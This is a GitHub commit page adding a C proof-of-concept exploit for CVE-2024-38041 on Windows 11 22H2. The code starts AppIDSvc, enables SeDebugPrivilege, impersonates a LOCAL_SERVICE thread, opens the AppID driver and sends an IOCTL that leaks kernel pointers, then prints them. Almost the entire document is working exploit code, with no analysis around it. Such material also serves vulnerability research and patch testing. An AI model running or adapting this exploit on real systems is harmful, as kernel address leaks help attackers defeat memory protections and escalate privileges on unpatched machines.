forked from varwara/CVE-2024-38041
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
1 changed file
with
281 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,281 @@ | ||
/* | ||
PoC Info | ||
------------------------------------------- | ||
Vulnerability: CVE-2024-38041 | ||
Environment: Windows 11 22h2 Build 22621 | ||
Required privileges: High IL | ||
------------------------------------------- | ||
*/ | ||
|
||
#include <Windows.h> | ||
#include <winsvc.h> | ||
#include <stdio.h> | ||
#include <processthreadsapi.h> | ||
#include <TlHelp32.h> | ||
#include <ntstatus.h> | ||
#include <stdint.h> | ||
#include <winternl.h> | ||
#include <psapi.h> | ||
#include <string.h> | ||
|
||
#pragma comment(lib, "ntdllp.lib") | ||
#pragma comment(lib, "Advapi32.lib") | ||
|
||
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1) | ||
#define IOCTL_LEAK_SOME_PTRS 0x22A014 | ||
|
||
// | ||
// Main exploit structures definition | ||
// | ||
typedef struct _LEAKED_DATA { | ||
uint64_t field0; | ||
uint64_t field1; | ||
uint64_t field2; | ||
uint64_t field3; | ||
uint64_t field4; | ||
uint64_t field5; | ||
}LEAKED_DATA; | ||
|
||
// | ||
// SC Manager helper functions | ||
// | ||
SC_HANDLE GetSCM() | ||
{ | ||
SC_HANDLE svcManager = OpenSCManagerW(NULL, NULL, SC_MANAGER_ALL_ACCESS); | ||
if (!svcManager) | ||
{ | ||
printf("[-] OpenSCManagerW failes with error %lu\n", GetLastError()); | ||
return FALSE; | ||
} | ||
|
||
else | ||
{ | ||
printf("[+] OpenSCManagerW handle value opened!\n"); | ||
return svcManager; | ||
} | ||
} | ||
|
||
void AppIDStart() | ||
{ | ||
printf("[!] Starting AppIDSvc\n"); | ||
system("sc start AppIDSvc"); | ||
} | ||
|
||
SC_HANDLE GetServiceHandleByName(LPCWSTR ServiceName) | ||
{ | ||
SC_HANDLE sh = 0; | ||
BOOL success = FALSE; | ||
SC_HANDLE scm = GetSCM(); | ||
if (scm) | ||
{ | ||
sh = OpenServiceW(scm, ServiceName, SERVICE_QUERY_STATUS); | ||
if (sh == NULL) | ||
{ | ||
printf("[-] OpenServiceW failed with error %d\n", GetLastError()); | ||
return 0; | ||
} | ||
|
||
else return sh; | ||
} | ||
|
||
return 0; | ||
} | ||
|
||
DWORD GetServiceProcessID(LPCWSTR ServiceName) | ||
{ | ||
SERVICE_STATUS_PROCESS ssp = { 0 }; | ||
DWORD dwBytesNeeded = 0; | ||
SC_HANDLE ServiceHandle = 0; | ||
|
||
ServiceHandle = GetServiceHandleByName(ServiceName); | ||
|
||
if (!QueryServiceStatusEx(ServiceHandle, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, sizeof(SERVICE_STATUS_PROCESS), &dwBytesNeeded)) | ||
{ | ||
printf("[-] QueryServiceStatusEx failed with error %d\n", GetLastError()); | ||
CloseServiceHandle(ServiceHandle); | ||
} | ||
|
||
else | ||
{ | ||
printf("[+] SERVICE_STATUS_PROCESS.dwProcessId = %d\n", ssp.dwProcessId); | ||
return ssp.dwProcessId; | ||
} | ||
|
||
return 0; | ||
} | ||
|
||
DWORD GetFirstThreadID(DWORD PID) | ||
{ | ||
THREADENTRY32 te32 = { 0 }; | ||
HANDLE hThreadSnap; | ||
|
||
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); | ||
te32.dwSize = sizeof(THREADENTRY32); | ||
Thread32First(hThreadSnap, &te32); | ||
|
||
do | ||
{ | ||
if (te32.th32OwnerProcessID == PID) | ||
{ | ||
printf("[+] GetFirstThreadID first TID = %d\n", te32.th32ThreadID); | ||
return te32.th32ThreadID; | ||
} | ||
} while (Thread32Next(hThreadSnap, &te32)); | ||
|
||
return ERROR_FILE_NOT_FOUND; | ||
} | ||
|
||
|
||
BOOL SetPrivilege( | ||
HANDLE hToken, // access token handle | ||
LPCTSTR lpszPrivilege, // name of privilege to enable/disable | ||
BOOL bEnablePrivilege // to enable or disable privilege | ||
) | ||
{ | ||
TOKEN_PRIVILEGES tp; | ||
LUID luid; | ||
|
||
if ( !LookupPrivilegeValue( | ||
NULL, // lookup privilege on local system | ||
lpszPrivilege, // privilege to lookup | ||
&luid ) ) // receives LUID of privilege | ||
{ | ||
printf("LookupPrivilegeValue error: %u\n", GetLastError() ); | ||
return FALSE; | ||
} | ||
|
||
tp.PrivilegeCount = 1; | ||
tp.Privileges[0].Luid = luid; | ||
if (bEnablePrivilege) | ||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; | ||
else | ||
tp.Privileges[0].Attributes = 0; | ||
|
||
// Enable the privilege or disable all privileges. | ||
|
||
if ( !AdjustTokenPrivileges( | ||
hToken, | ||
FALSE, | ||
&tp, | ||
sizeof(TOKEN_PRIVILEGES), | ||
(PTOKEN_PRIVILEGES) NULL, | ||
(PDWORD) NULL) ) | ||
{ | ||
printf("AdjustTokenPrivileges error: %u\n", GetLastError() ); | ||
return FALSE; | ||
} | ||
|
||
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) | ||
|
||
{ | ||
printf("The token does not have the specified privilege. \n"); | ||
return FALSE; | ||
} | ||
|
||
return TRUE; | ||
} | ||
|
||
BOOL EnableDebugPrivilege() | ||
{ | ||
HANDLE tempTokenHandle; | ||
HANDLE currentToken; | ||
BOOL success = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &tempTokenHandle); | ||
if (!success) | ||
{ | ||
printf("[-] Failed to open current process token\n"); | ||
return FALSE; | ||
} | ||
|
||
currentToken = tempTokenHandle; | ||
success = SetPrivilege(currentToken, L"SeDebugPrivilege", TRUE); | ||
|
||
if (!success) | ||
{ | ||
printf("[-] Failed to set SeDebugPrivilege\n"); | ||
return FALSE; | ||
} | ||
|
||
return TRUE; | ||
} | ||
|
||
int main() | ||
{ | ||
DWORD dwLocalSvcId = 0; | ||
DWORD tid = 0; | ||
HANDLE local_service_thread; | ||
BOOL success = FALSE; | ||
HANDLE hLocalSvc = 0; | ||
SECURITY_QUALITY_OF_SERVICE sqos = { 0 }; | ||
HANDLE hAppID; | ||
|
||
// | ||
// Start the vulnerable service, because it's off by default | ||
// | ||
AppIDStart(); | ||
|
||
// | ||
// It could be any service which is running at LOCAL_SERVICE privileges | ||
// except services running as PPL | ||
// | ||
dwLocalSvcId = GetServiceProcessID(L"BthAvctpSvc"); | ||
tid = GetFirstThreadID(dwLocalSvcId); | ||
success = EnableDebugPrivilege(); | ||
if (!success) | ||
{ | ||
printf("[-] EnableDebugPrivilege failed\n"); | ||
} | ||
|
||
hLocalSvc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwLocalSvcId); | ||
if (!hLocalSvc) | ||
{ | ||
printf("[-] Couldn't get a handle to the LOCAL_SERVICE process with error %d\n", GetLastError()); | ||
} | ||
|
||
local_service_thread = OpenThread(THREAD_DIRECT_IMPERSONATION, FALSE, tid); | ||
|
||
if (local_service_thread == NULL) | ||
{ | ||
printf("[-] OpenThread failed with error %d\n", GetLastError()); | ||
|
||
} | ||
|
||
else | ||
{ | ||
printf("[+] Opened a THREAD_DIRECT_IMPERSONATION handle to the LOCAL_SERVICE process\n"); | ||
} | ||
|
||
sqos.Length = sizeof(sqos); | ||
sqos.ImpersonationLevel = SecurityImpersonation; | ||
NTSTATUS status = NtImpersonateThread(GetCurrentThread(), local_service_thread, &sqos); | ||
|
||
if (!NT_SUCCESS(status)) | ||
{ | ||
printf("[-] NtImpersonateThread failed with status = %x\n", status); | ||
} | ||
|
||
hAppID = CreateFileW(L"\\\\.\\GLOBALROOT\\Device\\AppID", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL); | ||
if (hAppID == INVALID_HANDLE_VALUE) | ||
{ | ||
printf("[-] CreateFileW failed with error %d\n", GetLastError()); | ||
} | ||
|
||
RevertToSelf(); | ||
|
||
DWORD out_buf_size = sizeof(LEAKED_DATA); | ||
LEAKED_DATA ld = { 0 }; | ||
|
||
success = DeviceIoControl(hAppID, IOCTL_LEAK_SOME_PTRS, 0, 0, &ld, out_buf_size, NULL, NULL); | ||
|
||
if (success == FALSE) | ||
{ | ||
printf("[-] DeviceIoControl failed with error %x\n", GetLastError()); | ||
} | ||
|
||
// | ||
// Print some leaked data | ||
// | ||
printf("\nfield0 -> %llx\nfield1 -> %llx\nfield2 -> %llx\nfield3 -> %llx\nfield4 -> %llx\nfiedl5 -> %llx\n", | ||
ld.field0, ld.field1, ld.field2, ld.field3, ld.field4, ld.field5); | ||
|
||
return 0; | ||
} |